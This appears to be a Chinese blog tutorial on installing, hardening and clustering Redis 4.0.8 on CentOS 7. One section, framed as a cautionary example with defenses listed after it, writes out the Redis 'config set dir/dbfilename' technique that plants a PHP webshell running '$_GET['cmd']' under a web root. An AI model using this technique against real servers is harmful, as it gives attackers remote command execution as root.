安装redis
-
安装前的准备
yum install \
vim \
wget \
make \
gcc \
gcc-c++ \
automake \
autoconf \
-y \ -
下载解压并安装
cd /root
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxzf redis-4.0.8.tar.gz
cd redis-4.0.8
make PREFIX=/usr/local/redis/ install -
创建配置中要求的数据文件存储位置
mkdir /data
mkdir /data/redis
mkdir /usr/local/redis/log -
添加修改配置文件参考配置
cp ./redis.conf /usr/local/redis
vim /usr/local/redis/redis.conf # IP绑定
bind 127.0.0.1 192.168.0.111
# 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启)
protected-mode yes
# 访问端口
port 6379
# 连接超时,单位S,0为不启用超时
timeout 0
# 以守护进程运行
daemonize yes
# 数据文件路径
dir /data/redis
# 进程ID文件的路径
pidfile /usr/local/redis/log/redis.pid
# 日志文件路径
logfile /usr/local/redis/log/redis.log
# 开启键过期删除通知
notify-keyspace-events Ex ESC
:wq # 以下安全配置选项仅作参考
# 禁用部分危险命令
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
# 添加访问密码
requirepass ********
# IP绑定本机
bind 127.0.0.1 -
性能优化
# 编辑/etc/rc.local
vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC
:wq # 添加/etc/rc.local执行权限
chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf
vim /etc/sysctl.conf vm.overcommit_memory = 1
net.core.somaxconn = 1024 ESC
:wq # 立即解决
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo 1024 > /proc/sys/net/core/somaxconn
sysctl vm.overcommit_memory=1
sysctl -p -
修改目录归属
useradd -s /sbin/nologin -M redis
chown -R redis:redis /data/redis
chown -R redis:redis /usr/local/redis -
启动redis并设置开机启动
# 进入单元文件目录
cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型]
vim redis.service [Unit]
Description=Start redis on boot.
After=default.target network.target [Service]
User=redis
Group=redis
Type=forking
PIDFile=/usr/local/redis/log/redis.pid
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=false
Restart=always [Install]
WantedBy=multi-user.target ESC
:wq # 修改文件权限为只有root用户可以编辑该文件
chown -R root:root /etc/systemd/system/redis.service
chmod -R 644 /etc/systemd/system/redis.service # 更新systemd
systemctl daemon-reload
systemctl enable redis
systemctl start redis -
存入数据
/usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123
save
get num
quit -
批量删除匹配规则数据
redis-cli keys [匹配规则]|xargs redis-cli del
Redis宕机 aof文件损坏 启动失败
- 拷贝aof文件
-
修复坏损的aof文件
redis-check-aof --fix [aof文件名]
- 重新启动Redis
Redis漏洞webshell的利用
-
Redis该漏洞用到的原理如下
- redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
下,动态修改配置dir、dbfilename; - redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执
行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文
件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web
目录,则/www/test.php则会被人利用,成为入侵你服务器的入口; - redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
-
漏洞举例(这是一个负面教材)
- redis以超级管理员用户root运行
- Nginx以超级管理员用户root启动,子进程也以root运行
-
web服务器为nginx,并做如下配置:
server {
listen x;
server_name xxx.xxx.com;
root /www; location / {
index index.php index.html index.htm;
} location ~ \.php$ {
fastcgi_index index.php;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
} -
通过redis-cli执行了以下命令
config set dir /www/
config set dbfilename test.php
set test "<?php exec($_GET['cmd']); ?>"
save -
这时候可怕的事情出现了
- 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到
- 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令)
Redis漏洞webshell的防范
- 不要线上使用redis的web管理工具
- redis以低权限用户运行(如rediser等让人想不到的用户名)
- redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)
- redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")
- web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)
redis集群(cluster方式)
-
集群前的配置(单机两服务测试6379,6380)
# 内网IP:192.168.0.100
-
修改redis.conf
vim /usr/local/redis/redis.conf # 启用cluster
cluster-enabled yes
# 调用cluster配置文件
cluster-config-file nodes-6379.conf
# 集群超时
cluster-node-timeout 15000
# 关闭宕机全停
cluster-require-full-coverage no
# 集群从属元素个数
cluster-slave-validity-factor 10
# 从机数最低迁移值(master至少有两台slave,才能做slave迁移)
cluster-migration-barrier 1 ESC
:wq -
配置文件添加
yum install ruby
gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379
mkdir /usr/local/redis/data/6380 -
修改redis-6379.conf
vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock
pidfile /usr/local/redis/log/redis_6379.pid
logfile /usr/local/redis/log/redis_6379.log
dir /usr/local/redis/data/6379/
bind 192.168.0.100
port 6379 ESC
:wq -
修改redis-6380.conf
vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock
pidfile /usr/local/redis/log/redis_6380.pid
logfile "/usr/local/redis/log/redis_6380.log"
dir /usr/local/redis/data/6380/
bind 192.168.0.100
port 6380 ESC
:wq -
修改开机启动
vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
/usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC
:wq -
创建cluster
cd /root/redis/src/
# 查看帮助
./redis-trib.rb help
# 添加绑定
./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380 -
集群测试
/usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
-
正常关闭(不要强制关闭)
/usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown
CentOS7.X安装Redis-4.0.8以及Redis集群搭建的更多相关文章
-
redis 5.0.3 讲解、集群搭建
REDIS 一 .redis 介绍 不管你是从事Python.Java.Go.PHP.Ruby等等... Redis都应该是一个比较熟悉的中间件.而大部分经常写业务代码的程序员,实际工作中或许只用到了 ...
-
Hadoop 3.1.2(HA)+Zookeeper3.4.13+Hbase1.4.9(HA)+Hive2.3.4+Spark2.4.0(HA)高可用集群搭建
目录 目录 1.前言 1.1.什么是 Hadoop? 1.1.1.什么是 YARN? 1.2.什么是 Zookeeper? 1.3.什么是 Hbase? 1.4.什么是 Hive 1.5.什么是 Sp ...
-
Redis(1.11)Redis4.0.11 cluster 分布式集群搭建
概念与了解:Redis(1.7)Redis高可用架构(理论篇) [0]试验环境 结构图如下: (这里试验没有那么多机器,就用3台机器搭建试验) redis1是redis集群的一个节点A,上面运行了两个 ...
-
hadoop2.2.0的ha分布式集群搭建
hadoop2.2.0 ha集群搭建 使用的文件如下: jdk-6u45-linux-x64.bin hadoop-2.2.0.x86_64.tar zookeeper-3.4.5. ...
-
mongodb之 3.4.0 mongodb sharing 副本集群搭建
系统系统 centos6.5三台服务器:10.100.25.42/43/44安装包: mongodb-linux-x86_64-rhel62-3.4.0.tgz 服务器规划:mongos mongos ...
-
redhat6.5 redis单节点多实例3A集群搭建
在进行搭建redis3M 集群之前,首先要明白如何在单节点上完成redis的搭建. 单节点单实例搭建可以参看这个网:https://www.cnblogs.com/butterflies/p/9628 ...
-
Hadoop2.2.0安装配置手册!完全分布式Hadoop集群搭建过程~(心血之作啊~~)
http://blog.csdn.net/licongcong_0224/article/details/12972889 历时一周多,终于搭建好最新版本hadoop2.2集群,期间遇到各种问题,作为 ...
-
hadoop-2.6.0.tar.gz的集群搭建(3节点)(不含zookeeper集群安装)
前言 本人呕心沥血所写,经过好一段时间反复锤炼和整理修改.感谢所参考的博友们!同时,欢迎前来查阅赏脸的博友们收藏和转载,附上本人的链接http://www.cnblogs.com/zlslch/p/5 ...
-
MySQL8.0 MIC高可用集群搭建
mysql8.0带来的新特性,结合MySQLshell,不需要第三方中间件,自动构建高可用集群. mysql8.0作为一款新产品,其内置的mysq-innodb-cluster(MIC)高可用集群的技 ...
-
Redis学习笔记(5)—— Redis的持久化方案&;Redis的集群搭建
一.Redis的持久化方案 Redis的高性能是由于其将所有数据都存储在了内存中,为了使Redis在重启之后仍能保证数据不丢失,需要将数据从内存中同步到硬盘中,这一过程就是持久化. Redis支持两种 ...
随机推荐
-
Android四大组件之—— BroadcastReceiver的使用
BroadcastReceiver又名广播接收者.既然它用于接收广播,那一定就有人负责发送. Android系统中的广播: 在现实生活中,我们都知道广播是什么,用来做什么.例如公园里的广播,主要通知游 ...
-
PHP内核的学习--PHP生命周期
一切的开始: SAPI接口 SAPI(Server Application Programming Interface)指的是PHP具体应用的编程接口, 就像PC一样,无论安装哪些操作系统,只要满足了 ...
-
数据结构 C++ 单链表 一元多项式的相加
#include <iostream> using namespace std; struct Node { double coe; //系数 int exp; //指数 Node *ne ...
-
javaweb回顾第五篇浅谈会话
1:什么是会话 通俗来说就是客户和服务器的一次私密谈话,客户发送请求以后服务器能够识别请求是来自同一个客户,他们是1对1的关系. 了解会话以后我们就要去考虑如何去实现这些问题下面一一进行解析 2:会话 ...
-
翻译「C++ Rvalue References Explained」C++右值引用详解 Part1:概述
本文系对「C++ Rvalue References Explained」 该文的翻译,原文作者:Thomas Becker. 该文较详细的解释了C++11右值引用的作用和出现的意义,也同时被Scot ...
-
myeclipseb笔记(4):拷贝文件的相应配置
在MyEclipse中,经常需要用到拷贝工程文件,但是直接拷贝的话,就会出现访问不了的情况,如下: 原文件learn/StudManage/login.jsp,访问: 拷贝工程,改名,访问: 就出现了 ...
-
转账示例(一):Dao层面实现(本例采用QueryRunner来执行sql语句,数据源为C3P0)
缺点:Dao层面把Service层面的操作完成了,不利于后期的代码修改和重构 1.自行创建C3P0Util account数据库 2.jar包 3.Dao层面 接口: package com.lear ...
-
关于linux 共享内存查看已经完整释放
完整删除共享内存脚本 #!/bin/sh function rmshm() { zero_status=`ipcs -m|awk '{print $6}'|grep -w 0|wc -l` if [ ...
-
阿里云申请ssl证书
申请证书(本文以阿里云服务器为背景,申请证书也以阿里云域名申请证书来作为实例) (1)登陆阿里云服务器,初次配置的用户,不建议直接搜索‘ssl证书’进行购买,因为这样购买后证书与域名对应的引导性并不强 ...
-
docker pull下载镜像报错Get https://registry-1.docker.io/v2/library/centos/manifests/latest:..... timeout
使用docker pull从镜像仓库拉取镜像时报错如下:[root@docker-registry ~]# docker pull centosUsing default tag: latestTry ...